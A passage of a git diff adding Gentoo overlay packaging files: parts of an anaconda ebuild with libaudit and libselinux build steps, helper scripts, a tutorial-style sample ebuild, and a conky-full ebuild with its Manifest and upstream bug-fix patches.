+		sed -i "s:-O2 -g -pipe -Wp,-D_FORTIFY_SOURCE=2 -fexceptions::g" \
+				"${S}/configure.ac" || die
+
+	# Setup anaconda
+	cd "${S}"
+	./autogen.sh || die "cannot run autogen"
+
+	##
+	## Setup libaudit
+	##
+	cd "${AUDIT_S}"
+        # Do not build GUI tools
+        sed -i \
+                -e '/AC_CONFIG_SUBDIRS.*system-config-audit/d' \
+                "${AUDIT_S}"/configure.ac || die "cannot sed libaudit configure.ac"
+        sed -i \
+                -e 's,system-config-audit,,g' \
+                -e '/^SUBDIRS/s,\\$,,g' \
+                "${AUDIT_S}"/Makefile.am || die "cannot sed libaudit Makefile.am"
+        rm -rf "${AUDIT_S}"/system-config-audit
+
+        if ! use ldap; then
+                sed -i \
+                        -e '/^AC_OUTPUT/s,audisp/plugins/zos-remote/Makefile,,g' \
+                        "${AUDIT_S}"/configure.ac || die "cannot sed libaudit configure.ac (ldap)"
+                sed -i \
+                        -e '/^SUBDIRS/s,zos-remote,,g' \
+                        "${AUDIT_S}"/audisp/plugins/Makefile.am || die "cannot sed libaudit Makefile.am (ldap)"
+        fi
+	eautoreconf
+
+}
+
+copy_audit_data_over() {
+	dodir "/usr/$(get_libdir)/anaconda-runtime"
+	cp -Ra "${AUDIT_S}/fakeroot/usr/$(get_libdir)/anaconda-runtime/"* \
+		"${D}/usr/$(get_libdir)/anaconda-runtime" || die "cannot cp audit data"
+	dodir "/usr/include/anaconda-runtime"
+	cp -Ra "${AUDIT_S}/fakeroot/usr/include/anaconda-runtime/"* \
+		"${D}/usr/include/anaconda-runtime" || die "cannot cp audit include data"
+}
+
+src_configure() {
+	# configure audit
+	cd "${AUDIT_S}"
+	einfo "configuring audit"
+	econf --sbindir=/sbin --libdir=/usr/$(get_libdir)/anaconda-runtime \
+		--includedir=/usr/include/anaconda-runtime \
+		--without-prelude || die
+
+	# compiling audit here, anaconda configure needs libaudit
+	einfo "compiling audit"
+	cd "${AUDIT_S}" || die "cannot cd into ${AUDIT_S}"
+	base_src_compile
+
+	# installing audit
+	einfo "installing audit libs into ${AUDIT_S}/fakeroot temporarily"
+	cd "${AUDIT_S}" || die "cannot cd into ${AUDIT_S}"
+	( rm -rf fakeroot && mkdir fakeroot ) || die "cannot mkdir"
+	emake DESTDIR="${AUDIT_S}/fakeroot" install || die "cannot install libaudit"
+	copy_audit_data_over # for proper linking
+
+	# configure anaconda
+	cd "${S}"
+	einfo "configuring anaconda"
+	econf \
+		$(use_enable ipv6) $(use_enable selinux) \
+		$(use_enable nfs) || die "configure failed"
+}
+
+src_compile() {
+
+	cd "${S}"
+	base_src_compile
+
+	# compiling libselinux
+	einfo "compiling libselinux"
+	cd "${LSELINUX_S}" || die "cannot cd into ${LSELINUX_S}"
+	LD_RUN_PATH="/usr/$(get_libdir)/anaconda-runtime" \
+	emake \
+		LDFLAGS="-fPIC ${LDFLAGS}" \
+		PYLIBVER="python$(python_get_version)" \
+		PYTHONLIBDIR="${D}/usr/$(get_libdir)/python$(python_get_version)" \
+		SHLIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \
+		INCDIR="${D}/usr/include/anaconda-runtime" \
+		all || die
+	LD_RUN_PATH="/usr/$(get_libdir)/anaconda-runtime" \
+	emake \
+		LDFLAGS="-fPIC ${LDFLAGS}" \
+		PYLIBVER="python$(python_get_version)" \
+		PYTHONLIBDIR="${D}/usr/$(get_libdir)/python$(python_get_version)" \
+		SHLIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \
+		INCDIR="${D}/usr/include/anaconda-runtime" \
+		pywrap || die
+
+        # add compatibility aliases to swig wrapper
+		cat "${FILESDIR}/compat.py" >> "${LSELINUX_S}/src/selinux.py" || die
+
+}
+
+src_install() {
+
+	# installing libselinux
+	cd "${LSELINUX_S}"
+	python_need_rebuild
+	LD_RUN_PATH="/usr/$(get_libdir)/anaconda-runtime" \
+	emake DESTDIR="${D}" \
+		PYLIBVER="python$(python_get_version)" \
+		PYTHONLIBDIR="${D}/usr/$(get_libdir)/python$(python_get_version)" \
+		LIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \
+		SHLIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \
+		INCDIR="${D}/usr/include/anaconda-runtime" \
+		install install-pywrap || die
+
+	# fix libselinux.so link
+	dosym libselinux.so.1 /usr/$(get_libdir)/anaconda-runtime/libselinux.so
+	# LD_RUN_PATH works with ld >=2.20, so /etc/env.d/99anaconda for now
+	# will be dropped in future
+	echo "LDPATH=\"/usr/$(get_libdir)/anaconda-runtime\"" > 99anaconda
+	doenvd 99anaconda
+
+	cd "${S}"
+	copy_audit_data_over # ${D} is cleared
+	base_src_install
+
+	# install liveinst for user
+	dodir /usr/bin
+	exeinto /usr/bin
+	doexe "${FILESDIR}"/liveinst
+	dosym /usr/bin/liveinst /usr/bin/installer
+
+	# drop .la files for God sake
+	find "${D}" -name "*.la" | xargs rm
+
+	# Cleanup .pyc .pyo
+	find "${D}" -name "*.py[co]" -type f -delete
+}
+
+pkg_postrm() {
+	python_mod_cleanup py${PN}
+}
+
+pkg_postinst() {
+	python_mod_optimize py${PN}
+}
diff --git a/app-admin/anaconda/files/compat.py b/app-admin/anaconda/files/compat.py
new file mode 100644
index 00000000..b0bf65b5
--- /dev/null
+++ b/app-admin/anaconda/files/compat.py
@@ -0,0 +1,18 @@
+# compatability aliases for python-selinux
+try:
+        import selinux_aux
+
+        enabled = selinux_aux.enabled
+
+	get_lsid = selinux_aux.get_lsid
+	get_sid = selinux_aux.get_sid
+	set_sid = selinux_aux.set_sid
+	secure_rename = selinux_aux.secure_rename
+	secure_copy = selinux_aux.secure_copy
+	secure_mkdir = selinux_aux.secure_mkdir
+	secure_symlink = selinux_aux.secure_symlink
+	setexec = selinux_aux.setexec
+	getcontext = selinux_aux.getcontext
+
+except:
+	pass
diff --git a/app-admin/anaconda/files/liveinst b/app-admin/anaconda/files/liveinst
new file mode 100644
index 00000000..986da86f
--- /dev/null
+++ b/app-admin/anaconda/files/liveinst
@@ -0,0 +1,2 @@
+#!/bin/sh
+sudo -E /usr/sbin/liveinst $@
diff --git a/app-admin/anaconda/files/make_liveinst_update_package.sh b/app-admin/anaconda/files/make_liveinst_update_package.sh
new file mode 100644
index 00000000..466408cc
--- /dev/null
+++ b/app-admin/anaconda/files/make_liveinst_update_package.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+
+if [ -z "${1}" ]; then
+	echo "syntax ${0} <ebuild>"
+	exit 1
+fi
+eb="${1}"
+eb_name=$(basename "${eb}")
+tbz2_name="${eb_name/.ebuild/.tbz2}"
+tar_file="py${eb_name/.ebuild}.tar.bz2"
+current_dir="${PWD}"
+
+ebuild "${eb}" clean package || exit 1
+tmp_dir="$(mktemp -d)"
+
+cp /usr/portage/packages/app-admin/"${tbz2_name}" "${tmp_dir}" || exit 1
+cd "${tmp_dir}" || exit 1
+tar xvf "${tbz2_name}" || exit 1
+
+( cd usr/lib*/python*/site-packages && tar cjf \
+	"${current_dir}/${tar_file}" pyanaconda ) || exit 1
+( cd "${current_dir}" && md5sum "${tar_file}" > "${tar_file}.md5" ) || exit 1
+
+echo "created ${tar_file} and ${tar_file}.md5 in this directory"
diff --git a/app-admin/butonasvesel/Manifest b/app-admin/butonasvesel/Manifest
new file mode 100644
index 00000000..6b469ad5
--- /dev/null
+++ b/app-admin/butonasvesel/Manifest
@@ -0,0 +1,2 @@
+DIST butonasvesel.tar.gz 707 SHA256 f54a59c7769522afaf6acf1ef4bd5709ba209eee96058418392371bf8b9a4dcd SHA512 da01764867ee8a56a37dcf20759639adf7fb06bd288aee64cf49c39f385313d288d60e7d404d611156a8917c7a17601f895330b53b9c5a63307bb44489607505 WHIRLPOOL de9006e3c316ef8280c8194f31ddfaded804d34a728c87c18e8e5637ade2f652c61508e78040ca6c51b23c80251ec6d70994ea36b0e0838e6b22417422c3161a
+EBUILD butonasvesel-1.ebuild 1703 SHA256 408c31df807c4e89c1a8ccc4c3010d3e0a13dbb2d0a2008ac5c21d9a113bd983 SHA512 6d806a6ad2a86641f9d18c06b525a6b9e79d53ed3dc618d675b37a984d51173e6cb11eebd0a0ba2d80b0c5c136bfea3e1f846ebdd0ecc257d8832dd0fc58f013 WHIRLPOOL 03c92b3ab13e442773e81ad07320a3ff7964d5b2cb7683401ff31758b4ee697c5a55cdac64f983a1ccfa831e6a6998ab1e7d0072a1ac4aa76cf139e6317ecd80
diff --git a/app-admin/butonasvesel/butonasvesel-1.ebuild b/app-admin/butonasvesel/butonasvesel-1.ebuild
new file mode 100644
index 00000000..e97adb6c
--- /dev/null
+++ b/app-admin/butonasvesel/butonasvesel-1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5" #EAPI, read docs for this. natural we use 5, but there must be a src_prepare() at least with something in it
+
+inherit eutils #Object-oriented packaging, inherit classes with functions that will follow
+
+DESCRIPTION="The most interesting button you have ever seen in your life"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/"${PN}"/"${PN}".tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0" #How many times do you want this package to exist/to be installed, to coexist in different versions
+KEYWORDS="~* ~amd64 ~x86" #Every architecture you like
+IUSE="" #Configure flags, also known as ./configure --features --enable/disable features to be used
+
+RDEPEND="" #runtime deps
+DEPEND="" #build deps
+COMMON_DEPEND="" #Your deps, if you want to handle your own dep-control
+
+S="${WORKDIR}"/${PN}/ # PN means the name of the ebuild. http://devmanual.gentoo.org/ebuild-writing/variables/
+
+# The next step must be used in anyway possible for the EAPI=5 to be valid
+# Naturally, you can start by using insinto functions 
+src_prepare() { #unpacked files in the sandbox can be easily modified before all instalation process in this way
+	insinto "${S}"/${PN}/ || die "Failed to cd into directory"
+	emake || die "Failed to emake"
+}
+
+src_install() {
+	insinto /usr/sbin/
+	doins "${S}"/"${PN}" || die "Failed to copy compiled file" # Again, S means workdir and PN is helloworld
+	fperms 755 /usr/sbin/"${PN}"
+	elog "Some people don't know what to do with their 5:00 AM time"
+	elog "...while compiling hundreds of packages and turn them"
+	elog "into a useful ISO for people to use"
+}
+
diff --git a/app-admin/conky-full/Manifest b/app-admin/conky-full/Manifest
new file mode 100644
index 00000000..a32dcda2
--- /dev/null
+++ b/app-admin/conky-full/Manifest
@@ -0,0 +1,12 @@
+AUX conky-1.8.1-acpitemp.patch 2415 SHA256 57815044cd972139171b76e75267792821c783e03537eb6cf7ba8105c46cdf8d SHA512 8c376fe44e72c7bd8526bd51a4ec6a85919e4bfb1189fc2e0b15172ca5a76c6e5c6ece56f186b8da8e720bc5769b2c36fff76367c7c7a587648ad837b7085f1b WHIRLPOOL 849aa8f18b2ab021b0ffcf52cca544f5464f61df0745018bae4ddf938005ef477bc4aa702d2c335e190e353e0897fd2636c95f595202b76b7752d652f2da4f0a
+AUX conky-1.8.1-battery-time.patch 655 SHA256 d47e966e61a212048a8c752f1885e567a6b2c497da508dee8be64b205a5a422d SHA512 951ab73eca1a1ca059c127e001c556fed4dec6d9b6b63365d6826be7105b6ac87f2a36b6799aa313dd8a3519d3aea0ff7a6aa8ef46bc36cf6de7ccb7248854e5 WHIRLPOOL f6139a92d78e383dd9a006d40b96272a82165db9d94da90f729db1d65ae0bca39b62b9391c514ef23cb078007d0ccdfece3e89cde73506804c67222e75baf7b0
+AUX conky-1.8.1-curl-headers.patch 494 SHA256 53ff30aa933163a1feb646720ea21b4727d515e33521ac53e77b8bd9d0473eba SHA512 1b78d0c34b86ff75179ead6413487f827ad1ed3627cc6694bc0fd49b214ef4c9d3c05c4dcb8cf3cb4615ab25086e25d3d0f25a897daa410286df41ec38af682c WHIRLPOOL d8acd19f59063a75205b2901fe7e47a7233f73e18263132fe607208c5a6dec5cdcbba215dd7089477ae1d5a6d7d153afd54b78bed69184129a1d556d5505d779
+AUX conky-1.8.1-lua-5.2.patch 731 SHA256 a52fe3067c927340a6f1c485f566db9496684bd89b781e1a320b8a02f115c98f SHA512 facbc8bfb4c7458f06eda35c99443deb09fbea9d9b93ff7dc37d1e159ed27051f081e71ffc937ea33f893c3ccbc2580e05d879e7118f68ba4de819dd820adda2 WHIRLPOOL 1ca7a363fc589af282bfb7767ce1954e7ce7799073b62f06165b2054e9019a7b82423efa9cbce8c548d659d6c9ca26abc6668caf6b3abef9fe80faee32f93f23
+AUX conky-1.8.1-maxinterfaces.patch 1605 SHA256 34f1e53fb145fb252e1f91bcd60803870f12e4e0b31d691accc4cd83dda970ad SHA512 1423d11ae6ce1f601f2bc1f0df2e4ed7b32d17d63d5c15b4ff618bdc3a441b6161b4b9fb12aa8bb6a722b4707830999a1cf221f47ff4e3ac6567b4201aaf794b WHIRLPOOL 15a068a617818af171d60cebc89fab13f7c71c3f2ad7d25df01820bea3c4a2e1bb325eefa427b0ae40d6672651252bfbaa97c9f68248172dbe354262e0cad3c2
+AUX conky-1.8.1-nvidia-x.patch 883 SHA256 290ffdf4094167715bf11b86ee2cf73574a3af32ffb50fa09517d89c56bc0853 SHA512 5dc5e22a0d2b8fca8dd4be929cb2b1c7812ed8461e749dfc05e2d9fc7247d218154cfbb93b358f7080dada6b9b8e7fee25c0a71c9b0ec3ea4cc33fceab830020 WHIRLPOOL c10f56f67d56e0ac9282caee93fcbba982d709e65b0e9f35932037a21d430e3a3f5d9ef7d56368ea74135a158e10a6beef2c2a867d15664cc91852e12ea2795a
+AUX conky-1.8.1-secunia-SA43225.patch 1620 SHA256 61c2d204796f51d0d51cd62e9a37a9f4f318e8fe8f955278ef86b64d5b2ff99f SHA512 fde4d36d14ee7f8bb39104c23d336153b09436c8824676e4b003b1d46d2d7af00997839802745e03f5980f001c94c191805bcffe9f81485e71e2b782f7ae3086 WHIRLPOOL e2ad91607d10894227d5e33f3a0ea7d9fa82a72511c91295c1d9e1c668d942b1e53ee05322b7e3c4da5341793fcd6ff8deb9d4a9f75cb35ff3f2f874cd34aae2
+AUX conky-1.8.1-utf8-scroll.patch 2814 SHA256 ee622cda243c7265915c858b264fc4750a329f5c7e9a29323421a777291acfb7 SHA512 a88c49e83b360949d6450f1fbee22dc6648586f5469f6256581db7c55ba8efc35c01756fa241bfc13df0b44390d36ef72e4250d18a8743d62089e2f57f9f8fbd WHIRLPOOL 951e9b9083033a4d247bfeee12ee4f3da30ae53015c7b8095d587fb544e720c627b951ccee5da418c719a05c9a55b560d6bcb56cdfa5daaa6f50cee1a828327e
+AUX conky-1.8.1-xmms2.patch 1190 SHA256 1b64047f04239dbf24b3171fcd8d5c950e9f8aa6af5e94cd4836cd14c70e2bdc SHA512 ec7f526a3b3fed3a80b1f998bbf2f1d48931caa209605767283da8440551c950a6f8bf7efcca6fde51f085b3eb5abb1a357dee6b2b32c4537edf9fae5fd0d1d5 WHIRLPOOL 904226a6749f7516c46a75e36b83218b27018b328196086d5a9624d726a5b9d31c87dfa8df9b60f013be64487cb6bbf5291014b1d350681d7412932b29bddc42
+AUX conky-1.9.0-ncurses.patch 939 SHA256 76a777bab29009c2053b61e9e5904aea131c93d5f026acc161048374f75e72f6 SHA512 0a0737bec67eb241dee4029907d9f3e5bc8d49c8239fbdda5cbfa2b7b0aa50fb2ac9bf3397ccecd94768a176fc6c3ec0e18d67391d9285aff9658ba234202d4e WHIRLPOOL 0893db6ffbc2b37c58b2de8e34e4288640a1d3a5e3a754bd39faec141a7e94e49c83011f5eb58c86afe838fff1b77a661ff63a61f6780f9ca5e5b24f50463014
+DIST conky-1.9.0.tar.bz2 626555 SHA256 baf1b550f135fbfb53e5e286a33aadc03a667d63bf6c4d52ba7637366295bb6f SHA512 98c9f69fd8bee2062e3eddeb7a394cce932199ffd6c8664006d1222f0453569406613e63637848c77a455f7dae3f16be3079a2cab56ecafea51ec043de23c889 WHIRLPOOL 41bbe95ec838dbda2c2d4a9422d2f2f7d22d0cb99e87c59fbd32c0c7856cc83de36cbeefd982c964ec5229ae0b0342e84525aa5343d8c5cf9525205cea4a274a
+EBUILD conky-full-1.9.0.ebuild 4011 SHA256 384ba376665dcddc58c15d5aa28a5ef32689dca5ce30d03251f1cc3538130beb SHA512 a25cc352e51ae83a9a6cc15a59c7028337b76079cc075abd578df0f7753dee6edd03c315d61ead17016a075395a5b1064449300a53614ebb47eedaf17295a5be WHIRLPOOL 58eab8736385a1b76443382950c5916597f4ceae40b991418bf24cfd0acdcfc7df3b9cbbdbe9ed49e9add3c50cc062cab8291632558ff3eb023872fcb98f5bf1
diff --git a/app-admin/conky-full/conky-full-1.9.0.ebuild b/app-admin/conky-full/conky-full-1.9.0.ebuild
new file mode 100644
index 00000000..3e7caab1
--- /dev/null
+++ b/app-admin/conky-full/conky-full-1.9.0.ebuild
@@ -0,0 +1,139 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-admin/conky/conky-1.9.0.ebuild,v 1.3 2012/08/12 12:02:35 ago Exp $
+
+EAPI=4
+
+inherit eutils
+
+MY_P="conky-1.9.0"
+MY_PN="conky"
+MY_PV="1.9.0"
+
+DESCRIPTION="An advanced, highly configurable system monitor for X"
+HOMEPAGE="http://conky.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-3 BSD LGPL-2.1 MIT"
+SLOT="0"
+KEYWORDS="~alpha amd64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE="apcupsd audacious curl debug eve hddtemp imlib iostats lua lua-cairo lua-imlib math moc mpd nano-syntax ncurses nvidia +portmon rss thinkpad truetype vim-syntax weather-metar weather-xoap wifi X xmms2"
+
+WORKDIR="/var/tmp/portage/${CATEGORY}/${P}/work"
+S="${WORKDIR}/${MY_P}"
+
+DEPEND_COMMON="
+	X? (
+		imlib? ( media-libs/imlib2 )
+		lua-cairo? (
+			>=dev-lua/toluapp-1.0.93
+			>=dev-lang/lua-5.1.4-r8
+			x11-libs/cairo[X] )
+		lua-imlib? (
+			>=dev-lua/toluapp-1.0.93
+			>=dev-lang/lua-5.1.4-r8
+			media-libs/imlib2 )
+		nvidia? ( media-video/nvidia-settings )
+		truetype? ( x11-libs/libXft >=media-libs/freetype-2 )
+		x11-libs/libX11
+		x11-libs/libXdamage
+		x11-libs/libXext
+		audacious? ( >=media-sound/audacious-1.5 dev-libs/glib )
+		xmms2? ( media-sound/xmms2 )
+	)
+	curl? ( net-misc/curl )
+	eve? ( net-misc/curl dev-libs/libxml2 )
+	portmon? ( dev-libs/glib )
+	lua? ( >=dev-lang/lua-5.1.4-r8 )
+	ncurses? ( sys-libs/ncurses )
+	rss? ( dev-libs/libxml2 net-misc/curl dev-libs/glib )
+	wifi? ( net-wireless/wireless-tools )
+	weather-metar? ( net-misc/curl )
+	weather-xoap? ( dev-libs/libxml2 net-misc/curl )
+	virtual/libiconv
+	"
+RDEPEND="
+	${DEPEND_COMMON}
+	apcupsd? ( sys-power/apcupsd )
+	hddtemp? ( app-admin/hddtemp )
+	moc? ( media-sound/moc )
+	nano-syntax? ( app-editors/nano )
+	vim-syntax? ( || ( app-editors/vim app-editors/gvim ) )
+	"
+DEPEND="
+	${DEPEND_COMMON}
+	virtual/pkgconfig
+	"
+
+src_prepare() {
+	epatch "${FILESDIR}/${MY_PN}-1.8.1-utf8-scroll.patch" \
+		"${FILESDIR}/${MY_P}-ncurses.patch"
+}
+
+src_configure() {
+	local myconf
+
+	if use X; then
+		myconf="--enable-x11 --enable-double-buffer --enable-xdamage"
+		myconf="${myconf} --enable-argb --enable-own-window"
+		myconf="${myconf} $(use_enable imlib imlib2) $(use_enable lua-cairo)"
+		myconf="${myconf} $(use_enable lua-imlib lua-imlib2)"
+		myconf="${myconf} $(use_enable nvidia) $(use_enable truetype xft)"
+		myconf="${myconf} $(use_enable audacious) $(use_enable xmms2)"
+	else
+		myconf="--disable-x11 --disable-own-window --disable-argb"
+		myconf="${myconf} --disable-lua-cairo --disable-nvidia --disable-xft"
+		myconf="${myconf} --disable-audacious --disable-xmms2"
+	fi
+
+	econf \
+		${myconf} \
+		$(use_enable apcupsd) \
+		$(use_enable curl) \
+		$(use_enable debug) \
+		$(use_enable eve) \
+		$(use_enable hddtemp) \
+		$(use_enable iostats) \
+		$(use_enable lua) \
+		$(use_enable thinkpad ibm) \
+		$(use_enable math) \
+		$(use_enable moc) \
+		$(use_enable mpd) \
+		$(use_enable ncurses) \
+		$(use_enable portmon) \
+		$(use_enable rss) \
+		$(use_enable weather-metar) \
+		$(use_enable weather-xoap) \
+		$(use_enable wifi wlan)
+}
+
+src_install() {
+	default
+
+	dohtml doc/{config_settings.html,docs.html,lua.html,variables.html}
+
+	if use vim-syntax; then
+		insinto /usr/share/vim/vimfiles/ftdetect
+		doins "${S}"/extras/vim/ftdetect/conkyrc.vim
+
+		insinto /usr/share/vim/vimfiles/syntax
+		doins "${S}"/extras/vim/syntax/conkyrc.vim
+	fi
+
+	if use nano-syntax; then
+		insinto /usr/share/nano/
+		doins "${S}"/extras/nano/conky.nanorc
+	fi
+}
+
+pkg_postinst() {
+	elog "You can find a sample configuration file at ${ROOT%/}/etc/conky/conky.conf."
+	elog "To customize, copy it to ~/.conkyrc and edit it to your liking."
+	elog
+	elog "For more info on Conky's features please look at the Changelog in"
+	elog "${ROOT%/}/usr/share/doc/${PF}. There are also pretty html docs available"
+	elog "on Conky's site or in ${ROOT%/}/usr/share/doc/${PF}/html."
+	elog
+	elog "Also see http://www.gentoo.org/doc/en/conky-howto.xml"
+	elog
+}
diff --git a/app-admin/conky-full/files/conky-1.8.1-acpitemp.patch b/app-admin/conky-full/files/conky-1.8.1-acpitemp.patch
new file mode 100644
index 00000000..9632b99e
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-acpitemp.patch
@@ -0,0 +1,81 @@
+From 1b90218c339467770254aba03e3f0a3acc4af4b0 Mon Sep 17 00:00:00 2001
+From: Nikolas Garofil <nikolas@garofil.be>
+Date: Wed, 10 Nov 2010 18:22:22 +0100
+Subject: [PATCH] Let $acpitemp use /sys instead of /proc
+
+From the 2.6.36 changelog (http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36):
+Mark the ACPI thermal procfs I/F deprecated, because /sys/class/thermal/ is already available and has been working for years w/o any problem.
+The ACPI thermal procfs I/F will be removed in 2.6.37
+---
+ src/linux.cc |   26 ++++++++++++--------------
+ 1 files changed, 12 insertions(+), 14 deletions(-)
+
+diff --git a/src/linux.cc b/src/linux.cc
+index ae97f48..bfb0063 100644
+--- a/src/linux.c
++++ b/src/linux.c
+@@ -1449,26 +1449,20 @@ critical (S5):           73 C
+ passive:                 73 C: tc1=4 tc2=3 tsp=40 devices=0xcdf6e6c0
+ */
+ 
+-#define ACPI_THERMAL_DIR "/proc/acpi/thermal_zone/"
+-#define ACPI_THERMAL_FORMAT "/proc/acpi/thermal_zone/%s/temperature"
++#define ACPI_THERMAL_ZONE_DEFAULT "thermal_zone0"
++#define ACPI_THERMAL_FORMAT "/sys/class/thermal/%s/temp"
+ 
+ int open_acpi_temperature(const char *name)
+ {
+ 	char path[256];
+-	char buf[256];
+ 	int fd;
+ 
+ 	if (name == NULL || strcmp(name, "*") == 0) {
+-		static int rep = 0;
+-
+-		if (!get_first_file_in_a_directory(ACPI_THERMAL_DIR, buf, &rep)) {
+-			return -1;
+-		}
+-		name = buf;
++		snprintf(path, 255, ACPI_THERMAL_FORMAT, ACPI_THERMAL_ZONE_DEFAULT);
++	} else {
++		snprintf(path, 255, ACPI_THERMAL_FORMAT, name);
+ 	}
+ 
+-	snprintf(path, 255, ACPI_THERMAL_FORMAT, name);
+-
+ 	fd = open(path, O_RDONLY);
+ 	if (fd < 0) {
+ 		NORM_ERR("can't open '%s': %s", path, strerror(errno));
+@@ -1480,6 +1474,9 @@ int open_acpi_temperature(const char *name)
+ static double last_acpi_temp;
+ static double last_acpi_temp_time;
+ 
++//the maximum length of the string inside a ACPI_THERMAL_FORMAT file including the ending 0
++#define MAXTHERMZONELEN 6
++
+ double get_acpi_temperature(int fd)
+ {
+ 	if (fd <= 0) {
+@@ -1497,15 +1494,16 @@ double get_acpi_temperature(int fd)
+ 
+ 	/* read */
+ 	{
+-		char buf[256];
++		char buf[MAXTHERMZONELEN];
+ 		int n;
+ 
+-		n = read(fd, buf, 255);
++		n = read(fd, buf, MAXTHERMZONELEN-1);
+ 		if (n < 0) {
+ 			NORM_ERR("can't read fd %d: %s", fd, strerror(errno));
+ 		} else {
+ 			buf[n] = '\0';
+-			sscanf(buf, "temperature: %lf", &last_acpi_temp);
++			sscanf(buf, "%lf", &last_acpi_temp);
++			last_acpi_temp /= 1000;
+ 		}
+ 	}
+ 
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky-full/files/conky-1.8.1-battery-time.patch b/app-admin/conky-full/files/conky-1.8.1-battery-time.patch
new file mode 100644
index 00000000..66e37958
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-battery-time.patch
@@ -0,0 +1,11 @@
+--- a/src/linux.c.old	2012-01-12 08:18:58.525502553 -0500
++++ b/src/linux.c	2012-01-12 08:19:29.786069277 -0500
+@@ -1671,6 +1671,8 @@ void get_battery_stuff(char *buffer, uns
+  			the tradition! */
+  			else if (strncmp(buf, "POWER_SUPPLY_CURRENT_NOW=", 25) == 0)
+  				sscanf(buf, "POWER_SUPPLY_CURRENT_NOW=%d", &present_rate);
++			else if (strncmp(buf, "POWER_SUPPLY_POWER_NOW=", 23) == 0)
++				sscanf(buf, "POWER_SUPPLY_POWER_NOW=%d", &present_rate);
+  			else if (strncmp(buf, "POWER_SUPPLY_ENERGY_NOW=", 24) == 0)
+  				sscanf(buf, "POWER_SUPPLY_ENERGY_NOW=%d", &remaining_capacity);
+  			else if (strncmp(buf, "POWER_SUPPLY_ENERGY_FULL=", 25) == 0)
diff --git a/app-admin/conky-full/files/conky-1.8.1-curl-headers.patch b/app-admin/conky-full/files/conky-1.8.1-curl-headers.patch
new file mode 100644
index 00000000..5de2de14
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-curl-headers.patch
@@ -0,0 +1,24 @@
+diff --git a/src/ccurl_thread.c b/src/ccurl_thread.c
+index 10e73a6..9bea299 100644
+--- a/src/ccurl_thread.c
++++ b/src/ccurl_thread.c
+@@ -33,7 +33,6 @@
+ #endif /* DEBUG */
+ 
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+ 
+ /*
+diff --git a/src/eve.c b/src/eve.c
+index dc07264..f62a5f6 100644
+--- a/src/eve.c
++++ b/src/eve.c
+@@ -37,7 +37,6 @@
+ #include <libxml/xmlwriter.h>
+ 
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+ 
+ #include <time.h>
diff --git a/app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch b/app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch
new file mode 100644
index 00000000..956b0397
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch
@@ -0,0 +1,26 @@
+From 83bf5e3f853918583e519fbba455a79242be9c7c Mon Sep 17 00:00:00 2001
+From: Brenden Matthews <brenden@diddyinc.com>
+Date: Wed, 7 Mar 2012 11:11:12 -0800
+Subject: [PATCH] Build fix for Lua >=5.2.
+
+See Gentoo bug at https://bugs.gentoo.org/show_bug.cgi?id=407089.
+---
+ src/llua.c |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/src/llua.c b/src/llua.c
+index 8f1df3c..383c279 100644
+--- a/src/llua.c
++++ b/src/llua.c
+@@ -92,7 +92,7 @@ void llua_init(void)
+ 	const char *libs = PACKAGE_LIBDIR"/lib?.so;";
+ 	char *old_path, *new_path;
+ 	if (lua_L) return;
+-	lua_L = lua_open();
++	lua_L = luaL_newstate();
+ 
+ 	/* add our library path to the lua package.cpath global var */
+ 	luaL_openlibs(lua_L);
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch b/app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch
new file mode 100644
index 00000000..6f2097e1
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch
@@ -0,0 +1,41 @@
+From f6aac5981e70118dc28b3c7a1fe6065955fe3dcb Mon Sep 17 00:00:00 2001
+From: Pavel Labath <pavelo@centrum.sk>
+Date: Tue, 25 Oct 2011 18:53:09 +0200
+Subject: [PATCH] Increase MAX_NET_INTERFACES to 64
+
+also change a magic constant in net_stat.h to reflect the fact that it depends on
+MAX_NET_INTERFACES. For more info, see sf.net #2872682 and gentoo bug #384505
+---
+ configure.ac.in |    2 +-
+ src/net_stat.h  |    2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/configure.ac.in b/configure.ac.in
+index 0f00237..d52d998 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -802,7 +802,7 @@ AC_DEFINE(CONFIG_FILE, "$HOME/.conkyrc", [Configfile of the user])
+ AC_DEFINE(MAX_SPECIALS_DEFAULT, 512, [Default maximum number of special things, e.g. fonts, offsets, aligns, etc.])
+ AC_DEFINE(MAX_USER_TEXT_DEFAULT, 16384, [Default maximum size of config TEXT buffer, i.e. below TEXT line.])
+ AC_DEFINE(DEFAULT_TEXT_BUFFER_SIZE, 256, [Default size used for temporary, static text buffers])
+-AC_DEFINE(MAX_NET_INTERFACES, 16, [Maximum number of network devices])
++AC_DEFINE(MAX_NET_INTERFACES, 64, [Maximum number of network devices])
+ 
+ dnl
+ dnl Some functions
